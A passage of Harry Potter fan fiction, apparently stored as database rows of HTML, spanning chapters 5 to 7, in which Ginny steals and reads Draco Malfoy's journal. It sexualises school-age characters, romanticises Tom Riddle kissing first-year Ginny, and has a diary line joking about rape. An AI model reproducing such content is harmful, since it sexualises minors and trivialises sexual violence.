eyes she turned it, forcing the door open. She slid inside, closing the door behind her.</p>\n\n<p>A spacious, yet cold, green common room met her gaze. A chilly silver fire blazed in the fireplace, a dark green leather couch positioned directly in front of it. Ginny stepped across the creaky floor, bounding down the steps.</p>\n\n<p>She clutched her cloak around her waist, feeling the already freezing dungeon becoming colder. <i>How deep does this thing get?</i> Ginny wondered, suddenly stopping in front of a corridor labeled boy&#8217;s dormitories. She dashed down the hallway, coming to the second to last door that had seventh years carved into it. Ginny took in a deep breath, closing her eyes.</p>\n\n<p>&quot;I am brave, I am a Gryffindor, I can do this,&quot; she chanted to herself slightly parting the door from it\'s frame. The damp light streamed into the dorm room as Ginny stepped inside. It was finally cut off when she closed the door as quietly as she could. She stared blankly at the four beds; not knowing which one belonged to Draco. Ginny bit her bottom lip uncertainly, gliding over to the nearest bed. She parted the curtain a bit, her eyes meeting a breath taking figure.</p>\n\n<p>Shoulder length chocolate curls framed the boy\'s face, his rigid chest fluttering with every breath he drew in. He had thrown his blankets off in the night, only to reveal plaid boxers. Ginny gulped as her eyes traced down to a certain large bulge. She snapped the curtain closed, afraid of what she might do, walking briskly over to the next bed.</p>\n\n<p>Before Ginny could peak in-between the curtains of the bed, her eyes were drawn to a green clad book, bound by golden snidget feathers. Sight masked by her cloak, Ginny removed the hood of the invisibility cloak from her head. Her dainty fingers wrapped around the book as she bent down by the dying lamp, her fingers tracing over the golden paint, reading a single word: journal. Curiously, Ginny opened the cover. Looking at the top corner, she found the name she had been hoping to find Draco Malfoy.</p>\n\n<p>She squealed in delight, clutching the Journal to her chest, an image from her first year flickering in her head. She pushed the idea out of her mind. A jolt behind the curtains jerked her back to reality. She heard someone knocking various objects over on their bedside table. Ginny pulled out some of Fred and George\'s trick eagle quills, swapping it with the journal.</p>\n\n<p>&quot;Who\'s there?&quot; a scruffy voice demanded from the depths of the bed. Ginny pulled the hood over head, making her vanish from sight. Not a moment later, a rather ruffled looking Draco emerged from behind the curtain. She suppressed herself from giggling when she saw him in nothing but cartoony dragon boxers. His tight abs tensed as Ginny inhaled, messy waves tousled about his sleepy face.</p>\n\n<p>&quot;I said, who\'s there!&quot; he hissed. Cold shivers rushed up Ginny\'s spine. Draco\'s foot dropped to the floor.</p>\n\n<p>&quot;I,&quot; the other foot dropped.</p>\n\n<p>&quot;Want,&quot; he drew his wand from his pocket.</p>\n\n<p>&quot;An answer!\'\' he sighed, stumbling right into Ginny, his foot hitting her shin. <i>Oh shit...</i> Ginny inwardly cursed as his eyes narrowed, his wand snapping to her throat.</p>\n\n<p>&quot;Wonder who I\'ve managed to catch...&quot; Draco drawled, a smirk spreading from ear to ear.</p>\n\n '),
	(25, 5, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast Chapter 5 A Narrow Escape</title>\n\n\n\n<p>Toast Chapter 5 A Narrow Escape</p>\n\n<p>Ginny gulped, the wand inches from her neck. She looked up at his face, which was scanning the room, eyes shaped into sharp slits. Ginny trembled as his silver wand slivered closer to her neck. Losing control, Ginny began shaking... old memories flooding into her mind.</p>\n\n<p>&gt;Flashback&lt;</p>\n\n<p>Ginny began scribbling furiously on her diary, tired of the whole day. Harry had ignored her as usual, Hermione had been nice enough, but once again Ron had blown her off.</p>\n\n<p>		<i>Tom, I don\'t understand why he doesn\'t want to be with me.</i></p><dir><i>\n\n<dir>\n\n<dir>\n\n<dir>\n\n<p>Before he went to Hogwarts we always spent time together.</p></dir>\n\n</dir>\n\n</dir>\n\n</i></dir><i>\n\n<p>		I just don\'t understand...</p>\n\n</i><p>Ginny scribbled, tears streaming down her face onto the diary page. Her ink vanished, replaced with the tidy scrawl of Tom Riddle.</p>\n\n<p>		<i>Don\'t worry about him. He\'s not worth it. You have me, and</i></p><i>\n\n<p>		that\'s all you need. I need to show you something. Will you</p>\n\n</i><address>		let me?</address>\n\n<p>Ginny stared blankly at the paper in the book. She chewed on her bottom lip, nervously. Not knowing what to do, she closed the diary and placed it on her bedside table. She tried to step away, but it beckoned her back. Picking it up, a wave of eagerness spread over her, she flicked open the cover. The seam of the pages glowed with a golden light, illuminating everything in the room. Suddenly a gust of warm wind spread over Ginny as she was sucked inside.</p>\n\n<p>She lay immobile face down on the floor. A transparent figure approached her. It was a boy; his dark hair lay tousled on his head as he approached Ginny. He bent down, a gleaming look shining in his thirsty eyes. His hand trailed to her face, he began stroking her hair.</p>\n\n<p>&quot;Get up Virginia,&quot; the boy cooed. Ginny\'s long eyelashes fluttered open, her chocolate eyes staring up at the boy.</p>\n\n<p>&quot;Tom!&quot; she exclaimed; a smile etched on her face as she stood up. He looked down at her tiny frame.</p>\n\n<p>He took a step closer to her, feeling her nervousness. He placed his hand on her waist, but Ginny jerked back. Tom looked curiously down at her. She shifted her eyes to her shoes, letting his hand wander around her waist. Tom\'s hand slipped inside her pocket, dragging out her mahogany wand.</p>\n\n<p>He snapped the wand so if just barely touched her throat. She gasped in surprise, her breath held up tightly in her lungs. He swished the wand away, watching it clatter onto the floor far away from both of them.</p>\n\n<p>&quot;I was only joking, Ginny,&quot; he smiled looking at her full lips. She bit her lower lip, unsure of what Tom had wanted.</p>\n\n<p>&quot;You know, I never thought I would be this nervous with you in person...&quot; Ginny trailed off looking up at Tom. He took a step closer to her, his hand falling on her shoulder. He let his fingers trace the way to her face, finally cupping it gingerly.</p>\n\n<p>&quot;I need you to do me a favor Ginny,&quot; he sighed. She looked deep into his black eyes.</p>\n\n<p>&quot;Okay...&quot; Ginny finally resolved aloud. A grin lit Tom\'s face.</p>\n\n<p>&quot;Ginny, over the time that I\'ve known you, I\'ve grown feelings for you. Truth be told, I just want you to let me kiss you. Nothing more, nothing less!&quot; he sighed, looking at Ginny, eagerly awaiting her answer. Her eyes grew wide.</p>\n\n<p>&quot;You\'re asking me if you can kiss me?&quot; she gasped unbelievingly. He nodded his head, his hand still lingering on her fair face. She inhaled deeply, considering his plea.</p>\n\n<p>&quot;You may,&quot; Ginny mumbled. He let out a soft chuckle as he closed his eyes, bending his head towards hers. Awkwardly Ginny bent her head, awaiting his lips to meet hers. Indeed they did. He pressed lightly on them at first, encircling his hands around her waist. She let her body take control, as she pressed into him, showing him she wanted more. Her hands slithered up to the nape of his neck, her fingers gently kneading his hair. Tom grinned under the kiss, applying more pressure upon the young girl.</p>\n\n<p>Ginny\'s heart flew up into her chest, every touch he made sending into pure bliss. She could feel warmth entering her, as Tom gently pried her lips open with his tongue. He teased her, tickling her just in the right spots. He made her melt with a yearning for more. She tightened her eyes, closing them fully with complete pleasure.</p>\n\n<p>Tom\'s transparent body began flickering out; shards of light flowing into Ginny. Soon there was nothing left of him, only Ginny with a malicious look on her face. She cracked her neck, an insane smile creeping across her face.</p>\n\n<p>&quot;Here chick chick chick...&quot;</p>\n\n<p>&gt;End of Flashback&lt;</p>\n\n<p>Shaking herself out of the memory, Ginny focused on Draco\'s wand, which was currently only a few millimeters from her neck. She laid her hands quietly on the floor, inching herself backwards until she bumped into the wall. A small rock lay within her reach. Not wasting another moment, she picked up the rock, flinging it across the floor over to the other end of the room.</p>\n\n<p>Draco sighed, bounding over to the noise. Ginny slumped down the wall; relieved he was no longer near her. She pushed herself up, tiptoeing to the door. Seeing that Draco\'s back was turned to her, she creaked the door open just wide enough to admit her. She slipped out, not bothering to close it behind her.</p>\n\n<p>Ginny sprinted up the steps, and flew out of the common room as fast as she could. She drew in ragged breaths as she approached the trap door. Ginny paused a moment, catching her breath. She sunk silently to the floor, relieved that she was out of Draco\'s grasp. She quickly stood up, a new eagerness to return to her own common room flooding her.</p>\n\n<p>She eased open the trap door, stepping outside, closing it noiselessly behind her. She took a few steps forward, tripping over her cloak. She yelped with pain as she soared through the air, her cloak completely ripped off her. Closing her eyes sharply she fell headfirst onto the floor.</p>\n\n<p>&quot;Merlin! What in the bloody hell was that?&quot; Ginny faintly heard Draco screech from inside the Slytherin common room. Ginny groaned, turning over, pain surging through out her nose. She whimpered in pain dragging her hand up to her face, cradling it. She half observed the trap door open, Draco scuttling out in his boxers. She felt herself blush. With her last ounce of strength, Ginny grabbed the cloak, covering herself.</p>\n\n<p>Her lulling eyes watched Draco\'s figure stumbling around the gargoyle, searching for a trace of anyone. Ginny\'s heart began to beat savagely against her chest, her mind screaming out in fear as Draco was steps away from her. Cold sweat dripped down her forehead as she felt his towering presence looming above her.</p>\n\n<p>A pang of pain struck Ginny\'s nose, making her yelp in pain. Draco\'s sharp gaze jerked to Ginny\'s body, his eyes looking right through here.</p>\n\n<p>&quot;I know you\'re there Potter!&quot; Draco spat, venom dripping from his voice. Ginny gripped forcefully onto her consciousness, refraining her eyes from rolling to the back of her head. She clutched to the side of the invisibility cloak, her fingers digging into the liquid like material. It scrunched under he touch. Giving up, Draco shook his head, disappearing into the trap door.</p>\n\n<p>Ginny felt a slight trickle of blood slithering out from her nose. She rolled her tired eyes, standing up. Hunched over, Ginny wrenched her sore legs forward. She stumbled up the stairs to the portrait of the fat lady. Ginny ripped the cloak from her shoulders, jumping from a startling exclamation of a portrait.</p>\n\n<p>&quot;You\'re back!&quot; it grinned. Ginny jerked her head around, coming face to face with Gordic Gryffindor. She exhaled, relieved, slumping to the floor right in front of the portrait.</p>\n\n<p>&quot;I\'m glad it\'s only you,&quot; Ginny sighed smiling up at him.</p>\n\n<p>&quot;Only me, what do you mean only me? I was a great wizard in my time! You of all people should know, being in my house!&quot; he exclaimed. Ginny could detect a slight tone of edge in his voice. Suddenly he swung open, revealing a small cabinet. She cautiously approached the cabinet, opening the mahogany handles. Hundreds of bottles were crammed inside.</p>\n\n<p>&quot;Take the midnight blue one in front. It\'ll hold your fatigue off for a little while,&quot; Godric instructed. Ginny nodded, removing the blue orb from the cabinet. She unscrewed the cap, swallowing the whole thing in one gulp.</p>\n\n<p>A thick goo dripped down her throat, coating it with some kind of wax. Ginny could feel it trickling it down her spine, spreading through her body. It sent warm chills through her nose, suddenly easing the pain. Her eyes snapped open, feeling fully alert.</p>\n\n<p>&quot;Wow!&quot; Ginny breathed at the portrait of Godric. He smiled warmly down at her, swinging closed.</p>\n\n<p>&quot;So, are you or are you not going to tell me what happened down in the Slytherin Common Room?&quot; he chuckled.</p>\n\n<p>&quot;Well I almost got caught twice, but it was well worth it!\'\' Ginny sneered, pulling Draco\'s diary from a fold of the robe. Godric gasped with pleasure.</p>\n\n<p>&quot;You know, I\'ve seen everything that boy has done to you...&quot; Godric pointed out. Ginny gasped.</p>\n\n<p>&quot;You have?&quot; she wondered, her eyes growing big.</p>\n\n<p>&quot;Portraits do get around pretty fast you know...&quot; Godric sighed. &quot;Well, you better get off to bed. It\'s quite late you know,&quot; he mumbled, turning from Ginny. She cocked her head to the side, looking curiously at him. None the less, she pushed herself up off the floor, and entered the common room.</p>\n\n<p>Ginny mindlessly walked up the stairs to the girl\'s dormitories, pondering if she really should look inside Draco\'s journal. She opened the door, stepping inside her dorm room. She snuck quietly to her bed, slipping inside her curtains. Grabbing her bedside lamp, she took it inside with her, quietly lighting it. </p>\n\n<p>&nbsp;</p>\n\n<p>She let the journal sit on her lap for a moment. Sighing, she tore her eyes away from the emerald book. She nibbled on her bottom lip nervously, feeling it beckon her back. Picking it up, a wave of eagerness spread over her, she flicked open the cover.</p>\n\n<i></i><p><i>I\'ve felt this before...</i> Ginny thought, trailing back to her memories of Tom. Her breath becoming hard and sharp, she flicked to the last page. Unwillingly she let her eyes trace over his last entry. She gasped finding her name scattered all over the page.</p>\n\n<p>The words became blurry, as she felt drowsiness consume her once more. Sharp pain stung through her nose. Feeling the slight trickle of blood from her nose again, her eyes rolled into the back of her head. She landed with a great thud on the bed, unconscious.</p>\n\n '),
	(25, 6, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast Chapter 6 Unexpected Compliments</title>\n\n\n\n<p>Toast Chapter 6 Unexpected Compliments</p>\n\n<p>Ginny blinked her eyes open as a ray of sunlight burst through her eyelids. She raised her arm up, her fingers rubbing her chocolate pools. She stretched, letting out a huge yawn, knocking her curtains aside. A gold glint attracted her eyes to the floor.</p>\n\n<p>&quot;The diary,&quot; she breathed, slowly extending her hand out to it. Her hands caressed the soft material, a jolt jumping up her spine. Ginny opened the cover, flicking to the last page. It\'s completely full? She asked herself, letting her eyes skim the pages. Placing her finger inside, she picked a page. Ginny let her eyes scan over the words. Looking at the date, she raised her eyebrow.</p>\n\n<p>&quot;Well, that must have been back in his fourth year!&quot; she exclaimed, burying her head inside.</p>\n\n<p>~*~</p>\n\n<p>Gah, I can\'t believe Pansy has drug me to the damned ball. It was such a drag. I could have puked at the site of Granger. Who does she think she is trying to impress everyone!&#8230; as if a deranged Mudblood could. Gag me with a chainsaw and put me out of my misery.</p>\n\n<p>	</p>\n\n<p>It was quite entertaining to see Weasley though. She fixes up nice. And yes, I just said there was a female Weasley. Go figure right? Well just the way she smiled, it lit up the room. Not that I was looking, of course not. Who in their right mind would be staring at a Weasley? But she\'s got damned good legs... They were just... yeah. And she doesn\'t have a bad arse either. A whole lot better than Pansy\'s I\'ll assure you.</p>\n\n<p>WHAT IN THE BLOODY HELL AM I SAYING? Argh, I\'m going to bed before mum and dad put me in St. Mungo\'s.</p>\n\n<p>~*~</p>\n\n<p>Ginny gasped, looking down at her legs. <i>He\'s right; they\'re not that bad...</i> she sighed. Eager to read more entries she flipped further on in the book. She figured the date in her head, supposing the entry was around his sixth year.</p>\n\n<p>~*~</p>\n\n<p>God, I swear I am the biggest pansy in the history of the world! Gah! I\'m not even fit to be called a teenage boy! ACK! I HATE MYSELF!!!!!! You want to know what happened? Well, I was sitting in the library and this 	gorgeous Ravenclaw was eyeing me up and down. I pretended I didn\'t notice. So within five minutes she comes up to me and sits down on my lap. (We were in the back of the library so Pince couldn\'t see us.) She begins kissing me like wild. Of course I kissed back, but when she stuck her hands down my pants I FROZE. She looked at me like I had ten heads, AND SHE WALKED AWAY!</p>\n\n<p>Now you tell me, what kind of hormonal teenager am I? I can\'t even get with someone when they want to give it all to me. I could kick myself ten times over and over again. I swear, I wanted to... I just couldn\'t let myself do it! (Only God knows why!) Oh well, she probably stunk in bed anyway. She\'s too much of a bookworm to be studying up on sex.</p>\n\n<p>Wonder how a Gryffindor would give it. Probably would be horrible. I can just picture Granger trying... on second thought, don\'t, squick me with a stick. Brown might be decent being as she doesn\'t have her head up her fat ass with Gryffindor morals. Baby girl Weasley might be the best. She\'s developed quite nicely. </p>\n\n<p>	</p>\n\n<p>Hey, shoot me, I\'m just a hormonal male (not when it comes to actually doing things, but I still am one OKAY?) looking at anything with hooters. And, well, she\'s got them.</p>\n\n<p>Nevaeh or Pansy both give the best shag in Slytherin, can\'t decide which would be better. Though it really was quite funny how Nevaeh came onto me... you see</p>\n\n<p>~*~</p>\n\n<p>Ginny tore her eyes away from the paper. She bit her bottom lip uncertainly, glancing back at the page. She regretted it moments later. A crimson blush spread across her face as she read part of Draco\'s play by play of his snog. Her eyes widened as she quickly flipped the page.</p>\n\n<p>&quot;That\'s funny, he\'s skipped a few months...&quot; Ginny murmured. She cocked her head to the side, observing the entry.</p>\n\n<p>~*~</p>\n\n<p>Not much to write about lately. Life\'s been boring as hell. It would be more fun killing off Muggles with father than sitting here in a dead stupor. Snape\'s classes have been the only thing getting me through.</p>\n\n<p>On a brighter note, father sent me an owl today. Said he found out about my looking at the Weasley girl. He wasn\'t too happy. Threatened me with the usual; death, torture, a day with the Dark lord, etc. Doubt it would be that bad anyway. Kill a few Muggles, rape a couple witches, steal some things. Actually it sounds like a ball. I should look at Weasley more often Eh?</p>\n\n<p>Snape cracked a few good ones at Potty today. Just about fell out of my seat laughing I did. Weasley, the boy, threw me a rather nasty side-glance mumbling something about bouncing ferrets. Snape almost let me sick Crabbe and Goyle on him. I really have to give Ron and what\'s her face different nickname. I\'ve heard the bloody twins calling him Ronniekins or something. Guess I\'ll just use that.</p>\n\n<p>~*~</p>\n\n<p>Ginny tilted her head in confusion. <i>His father tortured him, or at least threatened to? That can\'t be healthy... </i>she pondered. She flopped back on her bed, the diary falling shut. She heard a brisk rasping at the door.</p>\n\n<p>&quot;Come in!&quot; Ginny shouted, shoving the diary under her pillow. She heard the door creak partially open.</p>\n\n<p>&quot;Hate to interrupt you, but you already slept through lunch, and I thought you might want to make it to ONE of your classes. Hayley came down today saying you looked rather green. I got you excused from Transfiguration and Charms already, though I doubt Lupin will be happy with your missing his classes two days in a row,&quot; Colin shouted through a crack in the door. Ginny peaked out from her curtains, seeing his red-as-a-tomato face.</p>\n\n<p>&quot;What, scared to come in the girl\'s dormitory? Or are you just trying to sneak in a few pictures of us?&quot; Ginny grinned.</p>\n\n<p>&quot;What do you mean us, you little rascal, you\'re the only one here. Redheads...&quot; Colin sighed rolling his eyes.</p>\n\n<p>&quot;GAH! What\'s wrong with being a red head?&quot; Ginny squawked jumping out of the bed. Colin gulped, his eyes getting wide as a furious blush spread across his face. Ginny looked at him quizzically, her eyes tracing down to her body. Her eyes widened upon seeing herself in nothing but her knickers. She yelped, grabbing her sheets, covering herself with them.</p>\n\n<p>&quot;Uh... wow, I\'ll, Er- I\'ll just be going now!&quot; Colin blinked, turning around, rushing out of the room. Ginny let out an exasperated sigh.</p>\n\n<p>&quot;Who stripped me down to my knickers?&quot; she huffed, grabbing some clothes, throwing them on. She burst down to the common room.</p>\n\n<p>&quot;What\'s with the green Gin?&quot; Ron asked her, ruffling her already messy hair. She looked up at him, confused.</p>\n\n<p>&quot;What are you talking about?&quot; she asked, her eyebrow fluttering up into her forehead.</p>\n\n<p>&quot;Look at youreslf, green sweater, green plaid skirt... You would look like a pear if it wasn\'t for your red hair!&quot; Harry piped in. Ginny rolled her cold eyes at him. Seeing some of the girls from her dorm room, Ginny excused herself from the trio and trotted over to them.</p>\n\n<p>&quot;Okay, which one of you stripped me down last night?&quot; she growled at them. Hayley stepped out of the group, pushing her curly brown hair behind her ear.</p>\n\n<p>&quot;I did, you were sweating like a pig. I thought I was doing you a favor,&quot; she sighed sweetly. Ginny grunted.</p>\n\n<p>&quot;Alright, fair enough answer!&quot; she huffed, trying to find Colin. She spotted his still red face over in the corner, playing chess with Marcus Chapman. Ginny tapped Colin on the shoulder. He remained facing the other way. She tapped him a tad more forcefully on the shoulder. Colin turned around, his camera plastered to his face.</p>\n\n<p>&quot;Gottchya!&quot; he grinned, clicking the flash button. Ginny squinted, her eyes flashing with the light of the camera.</p>\n\n<p>&quot;What was that for?&quot; she smiled.</p>\n\n<p>&quot;Just catching the many moods of the gorgeous Ms. Virginia Weasley!&quot; Colin chuckled. Ginny threw him a sideways glance, raising her eyebrow. Colin excused himself from his chess game, standing up.</p>\n\n<p>He bounded out of the portrait. Ginny trotted up beside him. She looked at him, not muttering a word.</p>\n\n<p>&quot;What?&quot; Colin asked, immediately stopping, taking another picture of her. Ginny shielded her eyes from the bright flash.</p>\n\n<p>&quot;You\'re acting really odd... You\'ve seen me in my knickers before so I don\'t see why this time was so special that you had to run away,&quot; she mumbled, scratching her head. Colin abruptly turned to her.</p>\n\n<p>&quot;You want to know why I blushed Ginny?&quot; he asked. She nodded her head.</p>\n\n<p>&quot;I blushed as any other straight guy would!&quot; Colin spat. Ginny stepped back, unsure of how she should take his statement.</p>\n\n<p>&quot;What do you mean?&quot; she whispered.</p>\n\n<p>&quot;Gods Ginny! You\'re gorgeous! Every single guy is jealous of me because I get to spend every waking moment with you. Honestly I like it too... who wouldn\'t want to be in the company of a beautiful woman? You have everything Ginny. You have the perfect look, the perfect hair... even the best smile. Everyone turns when you walk into a room. Every guy wishes he could call you his own, but you want Harry. The one guy you can\'t get. He wouldn\'t even treat you right, and I wouldn\'t be able to bear it if he hurt you more than he already does. Ginny, I know I can\'t have you... so that\'s why I\'m taking all these pictures of you!&quot; he explained, his head drooping.</p>\n\n<p>&quot;Oh Colin,&quot; Ginny gasped, covering her mouth with her hand. She slowly extended her hand to his shoulder. He gazed down at her.</p>\n\n<p>&quot;You are a princess, and don\'t let anyone treat you otherwise,&quot; he mumbled, tilting his head down, his eyes closed. Ginny tightened her body in surprise as his warm lips met with her own for an instant. He pulled away upon feeling no response.</p>\n\n<p>&quot;See you Ginny,&quot; he nodded, dashing away. She slumped to the floor, not knowing what to make of the whole situation. She slid over to the window, hunger fleeing from her mind.</p>\n\n<p>&quot;It wasn\'t supposed to be like that! He wasn\'t supposed to kiss me. We were just going to be friends, and let nothing come between that. What happened&#8230; did I really just lose my best friend?&quot; Ginny asked herself, running her fingers through her hair. She faintly heard a rush of students hurrying off to their classes, but stayed in her place. No one disturbed her from her train of thought.</p>\n\n<p>&quot;A Gryffindor, skipping class? Tsk tsk!&quot; Filch\'s drawing voice cackled from behind her. She ran to the common room, not bothering to mumble a reply.</p>\n\n<p>The door to the sixth year\'s dorm snapped shut, Ginny\'s bed curtains ruffling closed. Inside Ginny lit her wand and was staring into Draco\'s journal.</p>\n\n<p>~*~</p>\n\n<p>What in the hell did I get myself into this time? Sure I was just showing Weasley how much better I was than Potter, but I didn\'t expect her to be so damned good. Believed it or not she was amazing. Nearly blew my socks off with one damned kiss. Fire crept up my spine when she let my tongue into her mouth. I could have jumped for fucking joy. I couldn\'t help but kiss her back with everything I had. It took everything to restrain myself from sticking my hands up her shirt, wouldn\'t want her to know how much I wanted her. I swear she may not have known it, but... lets just say I was a tad bit perky.</p>\n\n<p>It just felt good to kiss someone, and know that they needed it. God, if she didn\'t feel anything I\'ll kick myself. What am I talking about, she loved it. Who can resist a Malfoy? Besides, I could even hear her moaning with pleasure as I tickled her insides. She\'s a slave to me. Shit, this is going to be fun toying with her! And it\'s not like I don\'t get any benefits either.</p>\n\n<p>Bloody hell, mother and father are going to send me to St. Mungos for sure. At least they will if they get their hands on this. I\'ll be sure to make a grand exit from Hogwarts too. </p>\n\n<p>I know what I\'ll do... I\'ll ride out on an imaginary horse. That\'ll give everyone a good laugh. I can hear them all now \'Malfoys finally gone nutters!\' and others will say \'damned waste of a perfectly good man!\' I\'m laughing already. The best part is that I can actually see myself doing it. It\'s getting rather late, and I should go to sleep before Crabbe\'s snoring strip wears off.</p>\n\n<p>~*~</p>\n\n<p>Ginny grunted in anger. <i>Do they only think of my body?</i> She threw the diary down on the floor.</p>\n\n<p>&quot;You\'ve got me into a big mess! Now I have no idea as to how to give you back to him without him knowing I was the one that took you. Gods, this is going to be hard. I can just remember how awful hard it was to get you from him, just imagine how hard it\'ll be to give it back with him on the constant look out!&quot; she roared at the diary. She flopped onto the bed, not caring that she was missing Lupin\'s class again.</p>\n\n<p>Exhausted, Ginny let her eyes close. The darkness consumed her, swallowing her into sleepiness. Giving gave up the fight to stay awake, letting her mind carry her off to a sweet dream.</p>\n\n '),
	(25, 7, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast Chapter 7 Possibility</title>\n\n\n\n<p>Toast Chapter 7 Possibility</p>\n\n<p>&quot;Malfoy!&quot; a sleepy voice called out from behind a bed curtain.</p>\n\n<p>&quot;Malfoy, GET UP!&quot; the voice screeched. A boy stuck his head out of the curtains, his chocolate brown curls blocking his sight.</p>\n\n<p>&quot;I\'m up Zabini. I\'ve been up for a while now... thinking,&quot; Draco huffed from his bed.</p>\n\n<p>&quot;Still thinking about the break in?&quot; Blaise asked, pulling on a pair of pants.</p>\n\n<p>&quot;Yeah. Still haven\'t found anything missing but my diary. Don\'t you think it odd that someone would just come in here to take it? I swear on my grandfather\'s grave I\'ll kill whoever stole it myself,&quot; he growled, his head poking from his curtains. Blaise rolled his eyes.</p>\n\n<p>&quot;Isn\'t he still alive?&quot; Blaise asked curiously.</p>\n\n<p>&quot;Yeah, but that\'s besides the point. I\'m still going to kill them. Or maybe I\'ll get father to talk to the Dark Lord about it, and he\'ll kill their family off one by one... Torturing them to no end! BUAHAHAHA! And then...&quot; Draco roared insanely.</p>\n\n<p>&quot;Man, you think too much! Already scheming their demise! You need to lay off the caffeine at nights,&quot; Blaise cut in, rolling his eyes. Draco rolled his eyes at he as he walked into the showers.</p>\n\n<p>&quot;Well, it\'s better to think too much than not thinking enough like Crabbe and Goyle...&quot; Draco chuckled, turning on the water. &quot;Besides, you\'ve been getting into Muggle studies too much. I drink butterbeer at night,&quot; he finished, sniggering. Crabbe and Goyle snapped awake upon hearing their names. He heard Blaise let out a hearty laugh as they asked him what he needed.</p>\n\n<p>Draco shed his clothes, stepping into the hot shower. The warm water ran over his skin, relaxing him, letting him forget about the break in. He closed his eyes rubbing them gently with his hands as an attempt to wake himself up. When it failed, he reached aimlessly for the soap; his eyes still closed. </p>\n\n<p>His hand feeling the absence of his soap compelled him to clamor about the shower stall. His foot covered a rather large object. Eyes still closed he moved his arm downwards to pick it up, only he slipped. He landed headfirst at the bottom of the stall.</p>\n\n<p>&quot;Now that bloody hurt...&quot; Draco moaned, some soapy water slipping into his mouth. Rather annoyed, he spit it out.</p>\n\n<p>&quot;You got a girl in there who doesn\'t want you Malfoy?&quot; Blaise chortled from the other room. Draco grunted, standing back up. He quickly washed up, wrapped a towel around himself, and stepped out into the dorm to gather some of his clothes.</p>\n\n<p>&quot;I don\'t see why you insist on using this bathroom when you can use the Prefect\'s one with me!&quot; Pansy winked at him from an opening in the curtains of Blaise\'s bed.</p>\n\n<p>&quot;Parkinson, all just wouldn\'t be right in the world if I took a shower with the likes of you again!&quot; Draco cooed at the blonde. Suddenly her head was pulled back inside the bed. Draco could hear angry mumbling.</p>\n\n<p>&quot;Pansy, you\'re here to snog me, not talk to Draco!&quot;</p>\n\n<p>&quot;Oh but you I know I want you both Zabini...&quot;</p>\n\n<p>&quot;Sod off Parkinson,&quot;</p>\n\n<p>With that Draco could hear Pansy snogging Blaise like mad. Snogging in the dorms... always my favorite thing to watch in the mornings... Draco rolled his eyes, grabbing his uniform. He dressed, topping his outfit off with a silky green cloak. He gazed into the mirror.</p>\n\n<p>&quot;Very nice dear. You look marvelous, simply marvelous!&quot; it praised. Draco turned swiftly from the mirror, walking up the stairs into the common room.</p>\n\n<p>&quot;Draco dear, can I take my rain check now?&quot; a sixth year who was sitting quite provocatively on the couch asked him as she flashed her bright green eyes at him. She flipped her chestnut brown hair behind her shoulder. Getting up, she walking over to him. Pressing her large chest against him she batted her eyelashes sweetly.</p>\n\n<p>&quot;I don\'t like being walked out on you know...&quot; she cooed, sugar dripping from her voice. Not wanting to listen to her babble any longer, Draco bent down kissing her forcefully. He shoved his tongue in her mouth harshly, bruising her tongue. She received it willingly, letting her teeth graze it. Draco felt no emotion as he wrapped his arms around her waist<i>. She\'s usually a good snog for me...</i> he thought it odd, but continued kissing her. </p>\n\n<p>His hand \'accidentally\' slipped up her shirt. Draco could feel her grimace at his touch. She moaned with pleasure, her hands skirting around the waistline of his pants. He rolled his eyes, which were still open, and pulled away from her. He shoved her away from him, watching her stumble across the floor bitterly.</p>\n\n<p>She gasped with surprise, her eyes flaming with anger. &quot;What\'s the matter with you today?&quot; the girl asked tartly.</p>\n\n<p>&quot;Look, I don\'t care if you have a girl, but you don\'t need to be so cold to ME!&quot; she snarled walking away. Draco let out an icy, shrewd laugh.</p>\n\n<p>&quot;Did you forget who you\'re talking to?&quot; Draco asked, flashing a death stare at the girl. &quot;Because if you had, you best remember it quick... I am Draco Malfoy, son of Lucius Malfoy, who is close to the Dark Lord. Do not treat me with disrespect,&quot; Draco bellowed, his gray eyes narrowing into slits. The girl batted her eyelashes at him.</p>\n\n<p>&quot;Of course, how could I?&quot; she cooed, biting her bottom lip. She walked up to kiss him, but he turned swiftly on his heel, walking out of the common room, leaving the fuming girl behind.</p>\n\n<p>&quot;Malfoy... MALFOY!&quot; someone shouted rushing up behind him. Draco turned around, seeing Crabbe and Goyle panting, stopping at his side.</p>\n\n<p>&quot;You-forgot-us!&quot; Crabbe heaved, resting his arms on his knees striving to catch his breath. </p>\n\n<p>&quot;Oh damn, how could I?&quot; Draco snerked sarcastically, rolling his eyes. He turned sharply on his heel and marched into the great hall, Crabbe and Goyle following like dogs on his heels.</p>\n\n<p>He pushed open the doors with great pride, strolling over to the Slytherin table. He sat down carelessly, Crabbe and Goyle seating themselves on either side of him. Draco was just about to reach for a pancake when a cold hand grabbed at him before he got the chance. He looked coldly up at the owner of the hand.</p>\n\n<p>&quot;Professor Snape,&quot;</p>\n\n<p>&quot;Mr. Malfoy,&quot;</p>\n\n<p>&quot;Er- Yes Professor?&quot;</p>\n\n<p>&quot;I need to talk with you. It\'s about the \'stolen object\'... Needless to say I think you\'ll want to come with me,&quot; Snape hissed, pulling Draco from the table. Although Draco was seventeen, Snape jerked him up with ease, dragging him to the dungeons. </p>\n\n<p>Snape didn\'t speak a word until they were safe in his office. He secured his door with a simple spell. Sharply, he turned to Draco.</p>\n\n<p>&quot;Tell me everything that happened...&quot; he drawled, black eyes staring Draco down. After Draco\'s fairly boring recap of the night Snape leaned back in his chair, rubbing his goatee somewhat thoughtfully.</p>\n\n<p>&quot;Smells like Potter...&quot; he finally sighed. Draco looked up at him moderately curious.</p>\n\n<p>&quot;Potter, Sir?&quot;</p>\n\n<p>&quot;Yes Potter. Mr. Malfoy, I suggest you stay on the lookout,&quot; A conniving grin spread across the pair\'s face.</p>\n\n<p>&quot;Yes Sir, of course.&quot; Draco sneered, a new glint in his eye. He understood their silent agreement, and couldn\'t help the jump in his step as he walked back to the great hall for breakfast.</p>\n\n<p>Finally seated, he grabbed for the last pancake, choking it down hungrily. As soon as he was done he piled other random objects on the plate, gulping those down as well. </p>\n\n<p>His attention couldn\'t help but be drawn to a certain Gryffindor. Her red hair fanned out neatly over her shoulders as she munched daintily on a piece of fruit. He watched her laugh, her eyes sparkling with joy. Draco snapped his 